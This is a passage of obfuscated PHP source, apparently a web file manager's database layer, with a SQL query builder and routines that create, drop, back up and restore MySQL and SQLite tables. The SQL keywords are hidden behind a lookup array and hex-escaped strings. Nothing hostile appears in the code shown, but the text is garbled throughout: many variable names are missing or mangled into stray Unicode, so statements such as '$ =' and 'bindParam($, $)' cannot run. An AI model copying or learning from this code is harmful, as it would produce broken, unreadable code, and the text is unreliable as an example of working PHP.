$ؾ[296] == $˥[0]) { $⽚[] = $this->parseKey($) . $ؾ[884] . $˥[1]; } elseif (is_scalar($˥) || is_null($˥)) { $⽚[] = $this->parseKey($) . $ؾ[884] . $this->parseValue($˥); } } return $ؾ[995] . implode($ؾ[50], $⽚); } protected function bindParam($, $) { $this->bind[$_SERVER[譃][4] . $] = $; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$ՙ, $ػ = true) { if ($ػ) { $ՙ = $this->parseKeyCheck($ՙ); } return $ՙ; } function parseKeyCheck($ސ) { $ց =& $_SERVER[譃]; $ސ = trim($ސ); if (!preg_match($ց[996], $ސ)) { think_exception($ց[997] . $ސ); } return $ސ; } protected function parseValue($) { $ڂ =& $_SERVER[譃]; if (is_string($)) { $ = $ڂ[957] . $this->escapeString($) . $ڂ[957]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $ڂ[296]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $ڂ[958]), $); } elseif (is_bool($)) { $ = $ ? $ڂ[89] : $ڂ[194]; } elseif (is_null($)) { $ = $ڂ[104]; } return $; } protected function parseField($Ġ) { $ =& $_SERVER[譃]; if (is_string($Ġ) && strpos($Ġ, $[50])) { $Ġ = explode($[50], $Ġ); } if (is_array($Ġ)) { $ = array(); foreach ($Ġ as $ʸ => $Ղ߅) { if (!is_numeric($ʸ)) { $[] = $this->parseKey($ʸ, !1) . $[998] . $this->parseKey($Ղ߅); } else { $[] = $this->parseKey($Ղ߅); } } $ȼ = implode($[50], $); } elseif (is_string($Ġ) && !empty($Ġ)) { $ȼ = $Ġ; } else { $ȼ = $[185]; } return $ȼ; } protected function parseTable($) { $ =& $_SERVER[譃]; if (is_array($)) { $љ = array(); foreach ($ as $Ҿ => $) { if (!is_numeric($Ҿ)) { $љ[] = $this->parseKey($Ҿ) . $[53] . $this->parseKey($); } else { $љ[] = $this->parseKey($Ҿ); } } $ = $љ; } elseif (is_string($)) { if (strstr($, $[53])) { return $; } $ = explode($[50], $); array_walk($, array($this, $[906])); } return $[900] . trim(implode($[999], $), $[384]) . $[900]; } protected function parseWhere($ŀ) { $ =& $_SERVER[譃]; $ϧ = $[12]; if (is_string($ŀ)) { $ϧ = $ŀ; } else { $ = isset($ŀ[$[1000]]) ? strtoupper($ŀ[$[1000]]) : $[12]; if (in_array($, array($[1001], $[1002], $[1003]))) { $ = $[53] . $ . $[53]; unset($ŀ[$[1000]]); } else { $ = $[1004]; } foreach ($ŀ as $֏ => $˶) { $ϧ .= $[276]; if (is_numeric($֏)) { $֏ = $[1005]; } if (0 === strpos($֏, $[11])) { $ϧ .= $this->parseThinkWhere($֏, $˶); } else { if (!preg_match($[1006], trim($֏))) { think_exception(think_lang($[1007]) . $[4] . $֏); } $ǟ = is_array($˶) && isset($˶[$[1008]]); $֏ = trim($֏); if (strpos($֏, $[282])) { $˸ = explode($[282], $֏); $܈ = array(); foreach ($˸ as $葌 => $߷) { $ = $ǟ ? $˶[$葌] : $˶; $܈[] = $[259] . $this->parseWhereItem($this->parseKey($߷), $) . $[905]; } $ϧ .= implode($[1009], $܈); } elseif (strpos($֏, $[283])) { $˸ = explode($[283], $֏); $܈ = array(); foreach ($˸ as $葌 => $߷) { $ = $ǟ ? $˶[$葌] : $˶; $܈[] = $[259] . $this->parseWhereItem($this->parseKey($߷), $) . $[905]; } $ϧ .= implode($[1004], $܈); } else { $ϧ .= $this->parseWhereItem($this->parseKey($֏), $˶); } } $ϧ .= $[277] . $; } $ϧ = substr($ϧ, 0, -strlen($)); } return empty($ϧ) ? $[12] : $[1010] . $ϧ; } protected function parseWhereItem($λ, $̰) { $艫 =& $_SERVER[譃]; $ȭ = $艫[12]; if (is_array($̰)) { if (is_string($̰[0])) { $Ӑۏ = strtolower($̰[0]); if (in_array($̰[0], array($艫[884], $艫[1011], $艫[1012], $艫[1013], $艫[1014], $艫[1015]))) { $ȭ .= $λ . $艫[53] . $̰[0] . $艫[53] . $this->parseValue($̰[1]); } elseif (preg_match($艫[1016], $̰[0])) { $ȭ .= $λ . $艫[53] . $this->exp[$Ӑۏ] . $艫[53] . $this->parseValue($̰[1]); } elseif (preg_match($艫[1017], $̰[0])) { if (is_array($̰[1])) { $ = isset($̰[2]) ? strtoupper($̰[2]) : $艫[1002]; if (in_array($, array($艫[1001], $艫[1002], $艫[1003]))) { $ = array(); foreach ($̰[1] as $) { $[] = $λ . $艫[53] . $this->exp[$Ӑۏ] . $艫[53] . $this->parseValue($); } $ȭ .= $艫[259] . implode($艫[53] . $ . $艫[53], $) . $艫[905]; } } else { $ȭ .= $λ . $艫[53] . $this->exp[$Ӑۏ] . $艫[53] . $this->parseValue($̰[1]); } } elseif ($艫[296] == $Ӑۏ) { $ȭ .= $艫[903] . $λ . $艫[53] . $̰[1] . $艫[1018]; } elseif (preg_match($艫[1019], $̰[0])) { $ȭ .= $̰[0]; } elseif (preg_match($艫[1020], $̰[0])) { if (isset($̰[2]) && $艫[296] == $̰[2]) { $ȭ .= $λ . $艫[53] . $this->exp[$Ӑۏ] . $艫[53] . $̰[1]; } else { if (is_string($̰[1])) { $̰[1] = explode($艫[50], $̰[1]); } $ = implode($艫[50], $this->parseValue($̰[1])); $ȭ .= $λ . $艫[53] . $this->exp[$Ӑۏ] . $艫[903] . $ . $艫[905]; } } elseif (preg_match($艫[1021], $̰[0])) { $ = is_string($̰[1]) ? explode($艫[50], $̰[1]) : $̰[1]; $ȭ .= $艫[903] . $λ . $艫[53] . $this->exp[$Ӑۏ] . $艫[53] . $this->parseValue($[0]) . $艫[1004] . $this->parseValue($[1]) . $艫[277]; } else { think_exception(think_lang($艫[1007]) . $艫[4] . $̰[0]); } } else { $ = count($̰); $鼛 = $艫[12]; if (is_string($̰[$ - 1])) { $鼛 = isset($̰[$ - 1]) ? strtoupper($̰[$ - 1]) : $艫[12]; if (in_array($鼛, array($艫[1001], $艫[1002], $艫[1003]))) { $ = $ - 1; } } else { $鼛 = $艫[1001]; } for ($ = 0; $ < $; $++) { $ = is_array($̰[$]) ? $̰[$][1] : $̰[$]; if ($艫[296] == strtolower($̰[$][0])) { $ȭ .= $艫[259] . $λ . $艫[53] . $ . $艫[1018] . $鼛 . $艫[53]; } else { $ʩ = is_array($̰[$]) ? $this->exp[strtolower($̰[$][0])] : $艫[884]; if (!$ʩ && is_array($̰[$]) && in_array($̰[$][0], array($艫[884], $艫[1011], $艫[1012], $艫[1013], $艫[1014], $艫[1015]))) { $ʩ = $̰[$][0]; } $ȭ .= $艫[259] . $λ . $艫[53] . $ʩ . $艫[53] . $this->parseValue($) . $艫[1018] . $鼛 . $艫[53]; } } $ȭ = substr($ȭ, 0, -4); } } else { $ȭ .= $λ . $艫[1022] . $this->parseValue($̰); } return $ȭ; } protected function parseThinkWhere($۲, $턥) { $좏ݚ =& $_SERVER[譃]; $쀒 = $좏ݚ[12]; switch ($۲) { case $좏ݚ[351]: $쀒 = $턥; break; case $좏ݚ[1005]: $쀒 = is_string($턥) ? $턥 : substr($this->parseWhere($턥), 6); break; case $좏ݚ[1023]: parse_str($턥, $ԉȾ); if (isset($ԉȾ[$좏ݚ[1000]])) { $͵ = $좏ݚ[53] . strtoupper($ԉȾ[$좏ݚ[1000]]) . $좏ݚ[53]; unset($ԉȾ[$좏ݚ[1000]]); } else { $͵ = $좏ݚ[1004]; } $ = array(); foreach ($ԉȾ as $ => $) { $[] = $this->parseKey($) . $좏ݚ[1022] . $this->parseValue($); } $쀒 = implode($͵, $); break; } return $쀒; } protected function parseLimit($銗) { $°ށ =& $_SERVER[譃]; return !empty($銗) ? $°ށ[51] . $銗 . $°ށ[53] : $°ށ[12]; } protected function parseJoin($) { $Ι =& $_SERVER[譃]; $ۜ = $Ι[12]; if (!empty($)) { if (is_array($)) { foreach ($ as $ => $֎) { if (!1 !== stripos($֎, $Ι[1024])) { $ۜ .= $Ι[53] . $֎; } else { $ۜ .= $Ι[1025] . $֎; } } } else { $ۜ .= $Ι[1025] . $; } } $ۜ = preg_replace($Ι[1026], think_config($Ι[930]) . $Ι[1027], $ۜ); return $ۜ; } protected function parseOrder($ޚ) { $Ւ =& $_SERVER[譃]; if (is_array($ޚ)) { $Ѐ = array(); foreach ($ޚ as $όݽ => $) { if (is_numeric($όݽ)) { $Ѐ[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($Ւ[1028], $Ւ[1029])) ? $Ւ[53] . $ : $Ւ[12]; if (preg_match($Ւ[1030], $όݽ)) { $Ѐ[] = $this->parseKey($όݽ) . $; } else { think_exception($Ւ[1031] . $όݽ); } } } $ޚ = implode($Ւ[50], $Ѐ); } return !empty($ޚ) ? $Ւ[1032] . $ޚ : $Ւ[12]; } protected function parseGroup($ŕّ) { $ͻ =& $_SERVER[譃]; return !empty($ŕّ) ? $ͻ[1033] . $ŕّ : $ͻ[12]; } protected function parseHaving($ߛ) { $ =& $_SERVER[譃]; return !empty($ߛ) ? $[1034] . $ߛ : $[12]; } protected function parseComment($т) { $̏ =& $_SERVER[譃]; return !empty($т) ? $̏[1035] . $т . $̏[1036] : $̏[12]; } protected function parseDistinct($Ҽ) { $ =& $_SERVER[譃]; return !empty($Ҽ) ? $[1037] : $[12]; } protected function parseUnion($) { $ =& $_SERVER[譃]; if (empty($)) { return $[12]; } if (isset($[$[347]])) { $ = $[1038]; unset($[$[347]]); } else { $ = $[1039]; } foreach ($ as $̼) { $[] = $ . (is_array($̼) ? $this->buildSelectSql($̼) : $̼); } return implode($[53], $); } public function insert($ǐ, $ڕ = array(), $ӓ = false) { $ۚ =& $_SERVER[譃]; $ޭ = $镯 = array(); $this->model = $ڕ[$ۚ[280]]; foreach ($ǐ as $ŀ => $) { if (is_array($) && $ۚ[296] == $[0]) { $镯[] = $this->parseKey($ŀ); $ޭ[] = $[1]; } elseif (is_scalar($) || is_null($)) { $镯[] = $this->parseKey($ŀ); $ޭ[] = $this->parseValue($); } } $© = ($ӓ ? $ۚ[907] : $ۚ[908]) . $ۚ[909] . $this->parseTable($ڕ[$ۚ[278]]) . $ۚ[903] . implode($ۚ[50], $镯) . $ۚ[904] . implode($ۚ[50], $ޭ) . $ۚ[905]; $© .= $this->parseLock(isset($ڕ[$ۚ[841]]) ? $ڕ[$ۚ[841]] : !1); $© .= $this->parseComment(!empty($ڕ[$ۚ[353]]) ? $ڕ[$ۚ[353]] : $ۚ[12]); return $this->execute($©, $this->parseBind(!empty($ڕ[$ۚ[284]]) ? $ڕ[$ۚ[284]] : array())); } public function selectInsert($, $ņ, $؇ɵ = array()) { $оی =& $_SERVER[譃]; $this->model = $؇ɵ[$оی[280]]; if (is_string($)) { $ = explode($оی[50], $); } array_walk($, array($this, $оی[906])); $ = $оی[1040] . $this->parseTable($ņ) . $оی[903] . implode($оی[50], $) . $оی[1018]; $ .= $this->buildSelectSql($؇ɵ); return $this->execute($, $this->parseBind(!empty($؇ɵ[$оی[284]]) ? $؇ɵ[$оی[284]] : array())); } public function update($, $) { $݅ =& $_SERVER[譃]; $this->model = $[$݅[280]]; $ = $݅[1041] . $this->parseTable($[$݅[278]]) . $this->parseSet($) . $this->parseWhere(!empty($[$݅[274]]) ? $[$݅[274]] : $݅[12]) . $this->parseOrder(!empty($[$݅[364]]) ? $[$݅[364]] : $݅[12]) . $this->parseLimit(!empty($[$݅[291]]) ? $[$݅[291]] : $݅[12]) . $this->parseLock(isset($[$݅[841]]) ? $[$݅[841]] : !1) . $this->parseComment(!empty($[$݅[353]]) ? $[$݅[353]] : $݅[12]); return $this->execute($, $this->parseBind(!empty($[$݅[284]]) ? $[$݅[284]] : array())); } public function delete($͂nj = array()) { $Փ =& $_SERVER[譃]; $this->model = $͂nj[$Փ[280]]; $ʂ = $Փ[1042] . $this->parseTable($͂nj[$Փ[278]]) . $this->parseWhere(!empty($͂nj[$Փ[274]]) ? $͂nj[$Փ[274]] : $Փ[12]) . $this->parseOrder(!empty($͂nj[$Փ[364]]) ? $͂nj[$Փ[364]] : $Փ[12]) . $this->parseLimit(!empty($͂nj[$Փ[291]]) ? $͂nj[$Փ[291]] : $Փ[12]) . $this->parseLock(isset($͂nj[$Փ[841]]) ? $͂nj[$Փ[841]] : !1) . $this->parseComment(!empty($͂nj[$Փ[353]]) ? $͂nj[$Փ[353]] : $Փ[12]); return $this->execute($ʂ, $this->parseBind(!empty($͂nj[$Փ[284]]) ? $͂nj[$Փ[284]] : array())); } public function select($懧 = array()) { $ꯁ =& $_SERVER[譃]; $this->model = $懧[$ꯁ[280]]; $֍ = $this->buildSelectSql($懧); $Ν = isset($懧[$ꯁ[348]]) ? $懧[$ꯁ[348]] : !1; if ($Ν) { $߶ = is_string($Ν[$ꯁ[95]]) ? $Ν[$ꯁ[95]] : $ꯁ[1043] . md5($֍); $נ = think_cache($߶, $ꯁ[12], $Ν); if (!1 !== $נ) { return $נ; } } $ = $this->query($֍, $this->parseBind(!empty($懧[$ꯁ[284]]) ? $懧[$ꯁ[284]] : array())); if ($Ν && !1 !== $) { think_cache($߶, $, $Ν); } return $; } public function buildSelectSql($Ƽ = array()) { $ =& $_SERVER[譃]; if (isset($Ƽ[$[352]])) { if (strpos($Ƽ[$[352]], $[50])) { list($, $) = explode($[50], $Ƽ[$[352]]); } else { $ = $Ƽ[$[352]]; } $ = $ ? $ : 1; $ = isset($) ? $ : (is_numeric($Ƽ[$[291]]) ? $Ƽ[$[291]] : 20); $ = $ * ((int) $ - 1); $Ƽ[$[291]] = $ . $[50] . $; } if (think_config($[1044])) { $Ձ = $[1045] . md5(serialize($Ƽ)); $ = think_cache($Ձ); if ($) { return $; } } $ = $this->parseSql($this->selectSql, $Ƽ); $ .= $this->parseLock(isset($Ƽ[$[841]]) ? $Ƽ[$[841]] : !1); if (isset($Ձ)) { think_cache($Ձ, $); } return $; } public function parseSql($꩕, $˵ = array()) { $ŝ =& $_SERVER[譃]; $꩕ = str_replace(array($ŝ[1046], $ŝ[1047], $ŝ[1048], $ŝ[1049], $ŝ[1050], $ŝ[1051], $ŝ[1052], $ŝ[1053], $ŝ[1054], $ŝ[1055], $ŝ[1056]), array($this->parseTable("{$˵[$ŝ[278]]}"), $this->parseDistinct(isset($˵[$ŝ[1057]]) ? $˵[$ŝ[1057]] : !1), $this->parseField(!empty($˵[$ŝ[272]]) ? $˵[$ŝ[272]] : $ŝ[185]), $this->parseJoin(!empty($˵[$ŝ[281]]) ? $˵[$ŝ[281]] : $ŝ[12]), $this->parseWhere(!empty($˵[$ŝ[274]]) ? $˵[$ŝ[274]] : $ŝ[12]), $this->parseGroup(!empty($˵[$ŝ[511]]) ? $˵[$ŝ[511]] : $ŝ[12]), $this->parseHaving(!empty($˵[$ŝ[1058]]) ? $˵[$ŝ[1058]] : $ŝ[12]), $this->parseOrder(!empty($˵[$ŝ[364]]) ? $˵[$ŝ[364]] : $ŝ[12]), $this->parseLimit(!empty($˵[$ŝ[291]]) ? $˵[$ŝ[291]] : $ŝ[12]), $this->parseUnion(!empty($˵[$ŝ[346]]) ? $˵[$ŝ[346]] : $ŝ[12]), $this->parseComment(!empty($˵[$ŝ[353]]) ? $˵[$ŝ[353]] : $ŝ[12])), $꩕); return $꩕; } public function getLastSql($̱ = '') { return $̱ ? $this->modelSql[$̱] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($݅) { return addslashes($݅); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($Τ = array()) { $Щ =& $_SERVER[譃]; if (empty($Τ)) { $Τ = $GLOBALS[$Щ[6]][$Щ[21]]; } $this->database = $Τ; } public function model($ѳ = '') { return new ModelBase($ѳ, $_SERVER[譃][12], $this->database); } public function db($퉝̈́ = false) { $ =& $_SERVER[譃]; $ݠ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$퉝̈́) { return $this->model()->db(); } $䑿 = $ݠ[$[972]]; $ݠ[$[972]] = $[12]; if ($ݠ[$[967]] == $[964]) { $ƺ = $ݠ[$[973]]; $ݠ[$[973]] = substr($ƺ, 0, strrpos($ƺ, $[1059])); } $this->database = $ݠ; $ל = $this->model()->db(); try { $ = $ל->execute("\163\150\157\x77\40\144\x61\164\x61\x62\141\x73\x65\163\x20\x6c\151\153\x65\40\47{$䑿}\47"); } catch (Exception $) { } if (!$) { $ל->execute("\143\162\145\141\164\x65\40\144\141\164\141\x62\141\163\145\40\x60{$䑿}\140"); } $ݠ[$[972]] = $䑿; if ($ݠ[$[967]] == $[964]) { $ݠ[$[973]] .= $[1059] . $䑿; } $this->database = $ݠ; $ל->execute("\x75\163\x65\40\140{$䑿}\140"); return $ל; } public function createTable($䦕, &$) { $ĉи =& $_SERVER[譃]; if (!IO::exist($䦕)) { ActionCall($ĉи[1060], !0, 0); show_json(LNG($ĉи[1061]), !1); } $ڕ = $this->model()->db(); $ = sqlSplit(IO::getContent($䦕)); foreach ($ as $ˇ) { $탯 = stripos($ˇ, $ĉи[1062]) === 0; if ($탯) { $->task[$ĉи[784]] += 1; } $ڕ->execute($ˇ); if ($탯) { preg_match($ĉи[1063], $ˇ, $ۄ); $->task[$ĉи[1064]] = $ۄ[1]; $->update(1); } } } public function insertTable($, &$) { $ɇ =& $_SERVER[譃]; $ = $this->model()->db(); $ɰ = $ ? array($) : $->getTables(); foreach ($ as $lj) { $ = basename($lj, $ɇ[786]); if (!in_array($, $ɰ)) { continue; } $->task[$ɇ[1064]] = $; if (get_filesize($lj) == 0) { continue; } $ = $this->sqlToDb($lj, $); if (!$) { ActionCall($ɇ[1060], !0, 0); show_json(LNG($ɇ[1065]) . "\133{$}\135", !1); } } } public function sqlFromDb($, $ر, &$, $ʙ = '') { if ($) { $->task[$_SERVER[譃][1064]] = $; } $ = $this->model($); $ = 0; $Ӏ = 0; $ = 10000; $ = fopen($ر, $_SERVER[譃][1066]); $蔰 = $->getPk(); $ = $->getDbFields(); $ = $_SERVER[譃][12]; if ($GLOBALS[$_SERVER[譃][785]] && in_array($, array($_SERVER[譃][1067], $_SERVER[譃][1068]))) { $ = $; } do { $˲ = array($蔰 => array($_SERVER[譃][1014], $Ӏ)); $ = $->where($˲)->field($)->order($蔰 . $_SERVER[譃][1069])->limit($)->select(); $ = !empty($) ? $ : array(); if (!($ = count($))) { break; } $̗ = end($); $Ӏ = $̗[$蔰]; $ƌ饏 = array(); foreach ($ as $¯) { if ($) { if ($ == $_SERVER[譃][1067]) { if ($¯[$_SERVER[譃][33]] == $_SERVER[譃][1070]) { $ = json_decode($¯[$_SERVER[譃][373]], !0); if ($[$_SERVER[譃][32]] == $GLOBALS[$_SERVER[譃][785]] && $[$_SERVER[譃][748]] != 1) { continue; } } } else { if ($¯[$_SERVER[譃][33]] == $_SERVER[譃][1071] && $¯[$_SERVER[譃][95]] == $_SERVER[譃][777]) { continue; } } } if ($ʙ) { $¯[$_SERVER[譃][78]] = "\173\x69\x6f\x3a{$ʙ}\x7d" . substr($¯[$_SERVER[譃][78]], strlen("\173\151\x6f\72{$¯[$_SERVER[譃][815]]}\x7d")); $¯[$_SERVER[譃][815]] = $ʙ; } $ƌ饏[] = $_SERVER[譃][1072] . $this->sqlEncode($¯) . $_SERVER[譃][1073]; } $ʥ = "\111\x4e\x53\x45\x52\124\x20\111\116\x54\x4f\40\140{$}\140\40\50\x60" . implode($_SERVER[譃][1074], $) . $_SERVER[譃][1075]; fwrite($, $ʥ . implode($_SERVER[譃][1076], $ƌ饏) . $_SERVER[譃][71] . PHP_EOL); $ += $; if ($) { $->update($); } } while ($ == $); fclose($); return $; } public function sqlToDb($Ϙ, &$ڎ) { $ =& $_SERVER[譃]; $樂 = $this->model()->db(); $Пݿ = @fopen($Ϙ, $[1077]); if (!$Пݿ) { return !1; } $ = 0; $ȩ = $[12]; $Ԍ = array(); $ƈ = $this->dbType(); $؈ = $ƈ == $[13] ? 500 : 2000; $ӡ = basename($Ϙ, $[786]); $ƴۆ = 0; $Ӷ = 4194304 - 104858; $ = 1000000 - 104858; while (!feof($Пݿ)) { $¨ = trim(fgets($Пݿ)); if (!$¨) { continue; } $΄ = $this->sqlDecode($¨, $ƈ, $ӡ); if (stripos($΄, $[354]) === 0) { if (!$ȩ) { $ȩ = $΄ . $[53]; } continue; } if ($ڎ) { $ڎ->task[$[784]] += 1; } $++; $Ԍ[] = rtrim(rtrim(trim($΄), $[50]), $[71]); $ = null; $ڷ = strlen($΄); $ƴۆ += $ڷ; if ($ƴۆ >= ($؈ == 500 ? $ : $Ӷ)) { $ = array_pop($Ԍ); if ($ > 1) { $--; } } if ($ >= $؈ || $) { $΄ = $ȩ . implode($[50], $Ԍ); if (!$樂->execute($΄)) { return !1; } if ($ڎ) { $ڎ->update($); } $Ԍ = array(); $ = 0; $ƴۆ = 0; if ($) { $Ԍ = array($); $ = 1; $ƴۆ = $ڷ; } } } fclose($Пݿ); if (!empty($Ԍ)) { $΄ = $ȩ . implode($[50], $Ԍ); if (!$樂->execute($΄)) { return !1; } if ($ڎ) { $ڎ->update($); } } return !0; } public function dropTable($ͭ = null) { $ӭ = $this->model()->db(); $ = $ͭ ? array($ͭ) : $ӭ->getTables(); if (!$) { return; } foreach ($ as $ͭ) { if ($ͭ) { $ͭ = strtolower($ͭ); } else { continue; } $ӭ->execute("\x64\162\157\160\40\x74\x61\142\x6c\145\40\x69\146\x20\145\x78\151\x73\x74\163\40\140{$ͭ}\140"); } } private function sqlEncode($ω) { $о =& $_SERVER[譃]; $̺ = array(); foreach ($ω as $ۯӏ) { if (is_array($ۯӏ)) { $ۯӏ = json_encode_force($ۯӏ); } $ۯӏ = addslashes($ۯӏ); $ۯӏ = str_replace(array($о[1078], $о[230]), array($о[1079], $о[1080]), $ۯӏ); $̺[] = str_replace($о[58], $о[1081], $ۯӏ); } return $о[58] . implode($о[1082], $̺) . $о[58]; } private function sqlDecode($뉭, $ꠁ, $ = '') { $˓ =& $_SERVER[譃]; $뉭 = str_replace(array($˓[1079], $˓[1080]), array($˓[1078], $˓[230]), $뉭); if ($ꠁ == $˓[13]) { return $ != $˓[1083] ? stripslashes($뉭) : $뉭; } if ($ == $˓[1083]) { $뉭 = str_replace($˓[1084], $˓[119], stripslashes($뉭)); } return $뉭; } public function getSqlFile($ = '') { $ =& $_SERVER[譃]; $ﺲ = $this->dbType(!0); $ = CONTROLLER_DIR . "\151\x6e\163\164\141\x6c\154\57\144\x61\164\x61\x2f{$ﺲ}\56\x73\161\154"; $ƸϪ = file_get_contents($); $ = $[1085] . ($ﺲ == $[802] ? $[1086] : $[1087]) . $[1088]; preg_match_all($, $ƸϪ, $ʵ); $ = $ʵ[1]; $ = $this->model()->db(); $ͳ = $->getTables(); $۷ = TEMP_FILES . $[1089] . date($[749]) . $[8]; del_dir($۷); mk_dir($۷); $ݥη = $۷ . $[1090]; $ٵ = $۷ . $[1091]; $ = $ﺲ == $[13] ? $[802] : $[13]; IO::copy(CONTROLLER_DIR . "\151\156\x73\x74\141\x6c\x6c\x2f\144\141\x74\x61\x2f{$}\56\x73\x71\154", $۷); @touch($۷ . $ﺲ . $[786]); $䚆 = fopen($ݥη, $[1066]); $Ȉ = fopen($ٵ, $[1066]); if ($ﺲ == $[13]) { $ͳ = array_diff($ͳ, array($[782], $[783])); $ = array($[1092], $[1093], $[1094]); fwrite($Ȉ, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ͳ as $) { $ = $this->sqlFromSqlite($); if (!$[$[13]]) { continue; } fwrite($Ȉ, $[$[13]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($䚆, $[$[802]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ͳ as $) { $ = $this->sqlFromMysql($); if (!$[$[802]]) { continue; } fwrite($䚆, $[$[802]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($Ȉ, $[$[13]] . PHP_EOL . PHP_EOL); } } } fclose($䚆); fclose($Ȉ); $ƸϪ = array($[802] => $ݥη, $[13] => $ٵ); return $ ? $ƸϪ[$] : $ƸϪ; } public function dbType($ = false) { $˅ =& $_SERVER[譃]; $ݦ = $ ? $GLOBALS[$˅[6]][$˅[21]] : $this->database; $ݦ = array_change_key_case($ݦ); $ = $ݦ[$˅[967]]; if ($ == $˅[964]) { $ = explode($˅[4], $ݦ[$˅[973]]); $ = $[0]; } $ԅ = array($˅[1095] => $˅[13], $˅[912] => $˅[802]); if (isset($ԅ[$])) { $ = $ԅ[$]; } return $; } public function sqlFromMysql($, $䈚 = '') { $ֹ =& $_SERVER[譃]; $鸃 = $this->model()->db(); $쑄 = $鸃->query($ֹ[1096] . $ . $ֹ[384]); if (!$쑄 || !$쑄[0]) { return !1; } $ؠ = _get($쑄[0], $ֹ[1097], $ֹ[12]); if (!$ؠ) { return !1; } $ = "\104\x52\117\120\40\x54\x41\x42\114\x45\40\x49\x46\x20\105\130\x49\x53\x54\x53\40\140{$}\140\73" . PHP_EOL . $ؠ . $ֹ[71]; if ($䈚 && $䈚 == $ֹ[802]) { return $; } $ʼn = array_change_key_case($GLOBALS[$ֹ[6]][$ֹ[21]]); $λ = $ʼn[$ֹ[972]]; $ = $ֹ[1098] . $λ . $ֹ[1099] . $ . $ֹ[58]; $傉 = $ֹ[1100] . $ . $ֹ[900]; $ = $鸃->query($); if (empty($)) { $Մ = array($ֹ[802] => $ֹ[12], $ֹ[13] => $ֹ[12]); return $䈚 ? $Մ[$䈚] : $Մ; } $ݶ = $鸃->query($傉); $ꉷ = $ֹ[12]; $ = array(); foreach ($ݶ as $ݹ) { if (!$ꉷ && $ݹ[$ֹ[1101]] == $ֹ[1102]) { $ꉷ = $ݹ[$ֹ[1103]]; } if (isset($[$ݹ[$ֹ[1101]]])) { $[$ݹ[$ֹ[1101]]][$ֹ[1104]][] = $ݹ[$ֹ[1103]]; continue; } $[$ݹ[$ֹ[1101]]] = array($ֹ[1105] => $ݹ[$ֹ[1101]], $ֹ[1104] => array($ݹ[$ֹ[1103]]), $ֹ[1106] => $ݹ[$ֹ[1107]] == $ֹ[89] ? 0 : 1); } $ġ = array(); foreach ($ as $ݹ) { $հԃˡ = $ݹ[$ֹ[1105]] == $ֹ[1102]; $̱ = array($ֹ[1108], $ݹ[$ֹ[1106]] == $ֹ[89] && !$հԃˡ ? $ֹ[1109] : $ֹ[12], $ֹ[1110], $ֹ[1111] . $ . $ֹ[11] . ($հԃˡ ? $ֹ[1112] : $ݹ[$ֹ[1105]]) . $ֹ[119], $ֹ[1113], $ֹ[119] . $ . $ֹ[119], $ֹ[1114] . implode($ֹ[1115], $ݹ[$ֹ[1104]]) . $ֹ[1116]); $ġ[] = implode($ֹ[53], $̱) . $ֹ[71]; } $« = array(); $Ѝɤ = array($ֹ[1117] => $ֹ[1118], $ֹ[1118] => $ֹ[1118], $ֹ[287] => $ֹ[314], $ֹ[286] => $ֹ[314]); foreach ($ as $ݹ) { $̱ = array($ֹ[119] . $ݹ[$ֹ[1119]] . $ֹ[119], isset($Ѝɤ[$ݹ[$ֹ[1120]]]) ? $Ѝɤ[$ݹ[$ֹ[1120]]] : $ݹ[$ֹ[1121]], $ݹ[$ֹ[1122]] == $ֹ[898] ? $ֹ[1123] : $ֹ[1124], $ݹ[$ֹ[1119]] == $ꉷ ? $ֹ[1125] : $ֹ[12], $ݹ[$ֹ[949]] ? strtoupper(str_replace($ֹ[11], $ֹ[12], $ݹ[$ֹ[949]])) : $ֹ[12]); $«[] = trim(implode($ֹ[53], $̱)); } $妎 = array($ֹ[1126] . $ . $ֹ[1127], $ֹ[1128] . $ . $ֹ[1129], implode($ֹ[50] . PHP_EOL, $«), $ֹ[946]); $Ӈ = implode(PHP_EOL, array_merge($妎, $ġ)); if ($䈚 && $䈚 == $ֹ[13]) { return $Ӈ; } $Մ = array($ֹ[802] => $, $ֹ[13] => $Ӈ); return $䈚 ? $Մ[$䈚] : $Մ; } public function sqlFromSqlite($Ӂ, $β֕ = '') { $ =& $_SERVER[譃]; $Ưπ = $this->model()->db(); $ҽ = "\x50\x52\x41\x47\115\x41\x20\124\101\x42\114\x45\137\111\116\106\117\x20\50\47{$Ӂ}\47\51"; $ = "\x53\x45\x4c\105\x43\x54\x20\52\40\x46\x52\x4f\x4d\x20\x73\161\x6c\151\x74\x65\x5f\155\x61\163\x74\145\162\x20\x57\x48\105\122\105\40\x74\x62\154\x5f\x6e\x61\155\145\x20\75\40\47{$Ӂ}\47"; $ = $Ưπ->query($ҽ); if (empty($)) { $ = array($[802] => $[12], $[13] => $[12]); return $β֕ ? $[$β֕] : $; } $܍ = $Ưπ->query($); $ = $ = array(); foreach ($܍ as $д) { if ($д[$[33]] == $[278]) { $[] = $д[$[1130]]; } else { $[$д[$[32]]] = $д[$[1130]]; } } $̿ = array_merge(array($[1126] . $Ӂ . $[119]), $, array_values($)); $̿ = implode($[71] . PHP_EOL, $̿) . $[71]; if ($β֕ && $β֕ == $[13]) { return $̿; } $Ơ = array(); $ = array($[1118] => $[1131], $[314] => $[1132]); $ҝ = $[12]; foreach ($ as $д) { if ($д[$[57]] == $[89]) { $ҝ = $д[$[32]]; } $ј = array($[384] . $д[$[32]] . $[384], isset($[$д[$[33]]]) ? $[$д[$[33]]] : $д[$[33]], $д[$[35]] == $[89] ? $[1123] : $[1133] . $д[$[56]], $д[$[57]] == $[89] ? $[1134] : $[12]); $Ơ[] = trim(implode($[53], $ј)); } foreach ($ as $ɣ => $) { $Ȥ = str_replace($[1135] . $Ӂ . $[11], $[12], $ɣ); $Ľ = str_replace(array($[119], $[957]), $[384], substr($, stripos($, $[259]))); if ($Ȥ == $[1112]) { $ = $[1136] . $ҝ . $[1137]; } 